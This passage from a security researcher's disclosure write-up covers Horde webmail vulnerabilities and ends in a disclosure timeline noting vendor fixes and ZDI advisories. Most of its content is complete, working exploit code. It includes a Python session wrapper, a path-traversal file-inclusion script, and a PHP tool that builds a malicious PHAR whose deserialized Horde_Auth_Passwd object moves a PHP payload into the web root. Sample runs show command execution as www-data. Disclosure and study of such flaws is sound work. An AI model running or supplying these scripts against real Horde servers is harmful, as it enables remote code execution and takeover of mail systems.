<p>create the PHAR file locally (see the “Exploits” section);</p>
</li>
<li>
<p>upload it to <code class="language-plaintext highlighter-rouge">/tmp/exploit.phar</code> as previously discussed;</p>
</li>
<li>
<p>from the home page click the “Add Content” button;</p>
</li>
<li>
<p>select “Horde: Syndicated Feed” and click “Add”;</p>
</li>
<li>
<p>edit field labeled by “Feed Address” to target the uploaded file, i.e., <code class="language-plaintext highlighter-rouge">phar:///tmp/exploit.phar</code> and click “Save”;</p>
</li>
<li>
<p>navigate back to the home to trigger the vulnerability.</p>
</li>
</ol>
<p>To use the other approach instead, just bookmark <code class="language-plaintext highlighter-rouge">phar:///tmp/exploit.phar</code> then click on it after the upload phase.</p>
<p><code class="language-plaintext highlighter-rouge">Horde_Auth_Passwd</code> may not be the only exploitable case, there are several other classes that perform complex tasks in the destructor; yet this is not the part to be fixed.</p>
<h2 id="exploits">Exploits</h2>
<p>Both exploits need a common Python class that wraps the interaction with Horde:</p>
<div download="horde.py" class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="k">class</span> <span class="nc">Horde</span><span class="p">():</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">base_url</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">base_url</span> <span class="o">=</span> <span class="n">base_url</span>
<span class="bp">self</span><span class="p">.</span><span class="n">username</span> <span class="o">=</span> <span class="n">username</span>
<span class="bp">self</span><span class="p">.</span><span class="n">password</span> <span class="o">=</span> <span class="n">password</span>
<span class="bp">self</span><span class="p">.</span><span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">session</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">token</span> <span class="o">=</span> <span class="bp">None</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_login</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">_login</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'{}/login.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'login_post'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
<span class="s">'horde_user'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">username</span><span class="p">,</span>
<span class="s">'horde_pass'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">password</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="n">token_match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'"TOKEN":"([^"]+)"'</span><span class="p">,</span> <span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="k">assert</span> <span class="p">(</span>
<span class="nb">len</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">history</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span>
<span class="n">response</span><span class="p">.</span><span class="n">history</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">302</span> <span class="ow">and</span>
<span class="n">response</span><span class="p">.</span><span class="n">history</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">headers</span><span class="p">[</span><span class="s">'location'</span><span class="p">]</span> <span class="o">==</span> <span class="s">'/services/portal/'</span> <span class="ow">and</span>
<span class="n">token_match</span>
<span class="p">),</span> <span class="s">'Cannot log in'</span>
<span class="bp">self</span><span class="p">.</span><span class="n">token</span> <span class="o">=</span> <span class="n">token_match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">upload_to_tmp</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'{}/turba/add.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'object[photo][img][file]'</span><span class="p">:</span> <span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">filename</span><span class="p">),</span>
<span class="s">'object[photo][new]'</span><span class="p">:</span> <span class="p">(</span><span class="s">'x'</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot upload the file to tmp'</span>
<span class="k">def</span> <span class="nf">include_remote_inc_file</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">):</span>
<span class="c1"># vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
</span> <span class="n">app</span> <span class="o">=</span> <span class="s">'trean:trean_Block_Bookmarks'</span>
<span class="c1"># add one dummy bookmark (to be sure)
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/trean/add.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'actionID'</span><span class="p">:</span> <span class="s">'add_bookmark'</span><span class="p">,</span>
<span class="s">'url'</span><span class="p">:</span> <span class="s">'x'</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot add the bookmark'</span>
<span class="c1"># add bookmark block
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/edit.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'token'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">token</span><span class="p">,</span>
<span class="s">'row'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'col'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'action'</span><span class="p">:</span> <span class="s">'save-resume'</span><span class="p">,</span>
<span class="s">'app'</span><span class="p">:</span> <span class="n">app</span><span class="p">,</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot add the bookmark block'</span>
<span class="c1"># edit bookmark block
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/edit.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'token'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">token</span><span class="p">,</span>
<span class="s">'row'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'col'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'action'</span><span class="p">:</span> <span class="s">'save'</span><span class="p">,</span>
<span class="s">'app'</span><span class="p">:</span> <span class="n">app</span><span class="p">,</span>
<span class="s">'params[template]'</span><span class="p">:</span> <span class="s">'../../../../../../../../../../../'</span> <span class="o">+</span> <span class="n">path</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot edit the bookmark block'</span>
<span class="c1"># evaluate the remote file
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="c1"># remove the bookmark block so to not break the page
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/edit.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="c1"># XXX token not needed here
</span> <span class="s">'row'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'col'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'action'</span><span class="p">:</span> <span class="s">'removeBlock'</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot reset the bookmark block'</span>
<span class="k">def</span> <span class="nf">trigger_phar</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">):</span>
<span class="c1"># vulnerable block (alternatively the same can be obtained by creating a
</span> <span class="c1"># bookmark with the PHAR path and clocking on it)
</span> <span class="n">app</span> <span class="o">=</span> <span class="s">'horde:horde_Block_Feed'</span>
<span class="c1"># add syndicated feed block
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/edit.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'token'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">token</span><span class="p">,</span>
<span class="s">'row'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'col'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'action'</span><span class="p">:</span> <span class="s">'save-resume'</span><span class="p">,</span>
<span class="s">'app'</span><span class="p">:</span> <span class="n">app</span><span class="p">,</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot add the syndicated feed block'</span>
<span class="c1"># edit syndicated feed block
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/edit.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'token'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">token</span><span class="p">,</span>
<span class="s">'row'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'col'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'action'</span><span class="p">:</span> <span class="s">'save'</span><span class="p">,</span>
<span class="s">'app'</span><span class="p">:</span> <span class="n">app</span><span class="p">,</span>
<span class="s">'params[uri]'</span><span class="p">:</span> <span class="s">'phar://{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot edit the syndicated feed block'</span>
<span class="c1"># load the PHAR archive
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="c1"># remove the syndicated feed block so to not break the page
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'{}/services/portal/edit.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">base_url</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="c1"># XXX token not needed here
</span> <span class="s">'row'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'col'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
<span class="s">'action'</span><span class="p">:</span> <span class="s">'removeBlock'</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">,</span> <span class="s">'Cannot reset the syndicated feed block'</span>
</code></pre></div></div>
<h3 id="php-file-inclusion-1">PHP file inclusion</h3>
<p>The following script takes care of uploading and evaluating a <code class="language-plaintext highlighter-rouge">.inc</code> file.</p>
<div download="exploit-inc-inclusion.py" class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">horde</span> <span class="kn">import</span> <span class="n">Horde</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">TEMP_DIR</span> <span class="o">=</span> <span class="s">'/tmp'</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span> <span class="mi">5</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Usage: <base_url> <username> <password> <filename> <php_code>'</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">base_url</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
<span class="n">php_code</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span>
<span class="c1"># log into the web application
</span><span class="n">horde</span> <span class="o">=</span> <span class="n">Horde</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="c1"># upload (delete manually) and evaluate the .inc file
</span><span class="n">horde</span><span class="p">.</span><span class="n">upload_to_tmp</span><span class="p">(</span><span class="s">'{}.inc'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">filename</span><span class="p">),</span> <span class="s">'<?php {} die();'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">php_code</span><span class="p">))</span>
<span class="n">horde</span><span class="p">.</span><span class="n">include_remote_inc_file</span><span class="p">(</span><span class="s">'{}/{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">TEMP_DIR</span><span class="p">,</span> <span class="n">filename</span><span class="p">))</span>
</code></pre></div></div>
<p>Use it as:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>python3 exploit-inc-inclusion.py http://target.com username password exploit <span class="s1">'passthru("id");'</span>
<span class="go">uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></code></pre></div></div>
<p>Please note that the <code class="language-plaintext highlighter-rouge">/tmp/exploit.inc</code> file needs to be manually deleted.</p>
<h3 id="phar-loading-1">PHAR loading</h3>
<p>The following PHP file is used to create the PHAR:</p>
<div download="create-renaming-phar.php" class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env php
<span class="cp"><?php</span>
<span class="c1">// the __destruct method of Horde_Auth_Passwd eventually calls</span>
<span class="c1">// rename($this->_lockfile, $this->_params['filename']) if $this->_locked</span>
<span class="kd">class</span> <span class="nc">Horde_Auth_Passwd</span> <span class="p">{</span>
<span class="c1">// visibility must match since protected members are prefixed by "\x00*\x00"</span>
<span class="k">protected</span> <span class="nv">$_locked</span><span class="p">;</span>
<span class="k">protected</span> <span class="nv">$_params</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$source</span><span class="p">,</span> <span class="nv">$destination</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">_params</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">'filename'</span> <span class="o">=></span> <span class="nv">$destination</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">_locked</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">_lockfile</span> <span class="o">=</span> <span class="nv">$source</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="k">function</span> <span class="n">createPhar</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="nv">$source</span><span class="p">,</span> <span class="nv">$destination</span><span class="p">,</span> <span class="nv">$stub</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// create the object and specify source and destination files</span>
<span class="nv">$object</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Horde_Auth_Passwd</span><span class="p">(</span><span class="nv">$source</span><span class="p">,</span> <span class="nv">$destination</span><span class="p">);</span>
<span class="c1">// create the PHAR</span>
<span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Phar</span><span class="p">(</span><span class="nv">$path</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">startBuffering</span><span class="p">();</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">addFromString</span><span class="p">(</span><span class="s1">'x'</span><span class="p">,</span> <span class="s1">''</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setStub</span><span class="p">(</span><span class="s2">"<?php </span><span class="nv">$stub</span><span class="s2"> __HALT_COMPILER();"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">stopBuffering</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="k">global</span> <span class="nv">$argc</span><span class="p">,</span> <span class="nv">$argv</span><span class="p">;</span>
<span class="c1">// check arguments</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$argc</span> <span class="o">!=</span> <span class="mi">5</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">fwrite</span><span class="p">(</span><span class="no">STDERR</span><span class="p">,</span> <span class="s2">"Usage: <path> <source> <destination> <stub></span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="k">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// create a fresh new phar</span>
<span class="nv">$path</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="nv">$source</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="nv">$destination</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
<span class="nv">$stub</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
<span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="nv">$path</span><span class="p">);</span>
<span class="nf">createPhar</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="nv">$source</span><span class="p">,</span> <span class="nv">$destination</span><span class="p">,</span> <span class="nv">$stub</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">main</span><span class="p">();</span>
</code></pre></div></div>
<p>Note how a fake <code class="language-plaintext highlighter-rouge">Horde_Auth_Passwd</code> class is used, yet the visibility of members must match the original since protected members are prefixed by <code class="language-plaintext highlighter-rouge">\x00*\x00</code> when serialized.</p>
<p>Also, PHARs support a leading PHP <em>stub</em> that can be used to run some bootstrap operations when the file is used as a standalone executable. This means that a PHAR file is also a valid PHP file, in fact the actual payload is placed in the stub and the <code class="language-plaintext highlighter-rouge">rename</code> is used to move the PHAR file into the WWW root.</p>
<p>The following Python script takes care of creating, uploading and triggering the PHAR file:</p>
<div download="exploit-phar-loading.py" class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">horde</span> <span class="kn">import</span> <span class="n">Horde</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">TEMP_DIR</span> <span class="o">=</span> <span class="s">'/tmp'</span>
<span class="n">WWW_ROOT</span> <span class="o">=</span> <span class="s">'/var/www/html'</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span> <span class="mi">5</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Usage: <base_url> <username> <password> <filename> <php_code>'</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">base_url</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
<span class="n">php_code</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span>
<span class="n">source</span> <span class="o">=</span> <span class="s">'{}/{}.phar'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">TEMP_DIR</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
<span class="n">destination</span> <span class="o">=</span> <span class="s">'{}/static/{}.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">WWW_ROOT</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span> <span class="c1"># destination (delete manually)
</span><span class="n">temp</span> <span class="o">=</span> <span class="s">'temp.phar'</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'{}/static/{}.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
<span class="c1"># log into the web application
</span><span class="n">horde</span> <span class="o">=</span> <span class="n">Horde</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="c1"># create a PHAR that performs a rename when loaded and runs the payload when executed
</span><span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span>
<span class="s">'php'</span><span class="p">,</span> <span class="s">'create-renaming-phar.php'</span><span class="p">,</span>
<span class="n">temp</span><span class="p">,</span> <span class="n">source</span><span class="p">,</span> <span class="n">destination</span><span class="p">,</span> <span class="n">php_code</span>
<span class="p">],</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">DEVNULL</span><span class="p">)</span>
<span class="c1"># upload the PHAR
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fs</span><span class="p">:</span>
<span class="n">phar_data</span> <span class="o">=</span> <span class="n">fs</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">horde</span><span class="p">.</span><span class="n">upload_to_tmp</span><span class="p">(</span><span class="s">'{}.phar'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">filename</span><span class="p">),</span> <span class="n">phar_data</span><span class="p">)</span>
<span class="c1"># load the phar thus triggering the rename
</span><span class="n">horde</span><span class="p">.</span><span class="n">trigger_phar</span><span class="p">(</span><span class="n">source</span><span class="p">)</span>
<span class="c1"># issue a request to trigger the payload
</span><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<p>Use it as:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>python3 exploit-phar-loading.py http://target.com username password exploit <span class="s1">'passthru("id");'</span>
<span class="go">uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></code></pre></div></div>
<p>Just make sure to have the <a href="http://php.net/phar.readonly"><code class="language-plaintext highlighter-rouge">phar.readonly</code></a> setting disabled in the CLI version of the <code class="language-plaintext highlighter-rouge">php.ini</code> file on the attacker machine.</p>
<p>Please note that the <code class="language-plaintext highlighter-rouge">/var/www/html/static/exploit.php</code> file needs to be manually deleted.</p>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2020-01-10</dt>
<dd>First contact and disclosure with Zero Day Initiative (ZDI).</dd>
<dt>2020-03-04</dt>
<dd>ZDI grants the reward.</dd>
<dt>2020-03-01</dt>
<dd>Horde development team fixes (<a href="https://github.com/horde/trean/commit/8844968890ac57fd0457d902bae302c85b22d566">Trean</a> and <a href="https://github.com/horde/Form/commit/35d382cc3a0482c07d0c2272cac89a340922e0a6">Form</a>).</dd>
<dt>2020-03-10</dt>
<dd>ZDI publishes the advisories (<a href="https://www.zerodayinitiative.com/advisories/ZDI-20-276/">Trean</a> and <a href="https://www.zerodayinitiative.com/advisories/ZDI-20-275/">Form</a>).</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:phar-extension" role="doc-endnote">
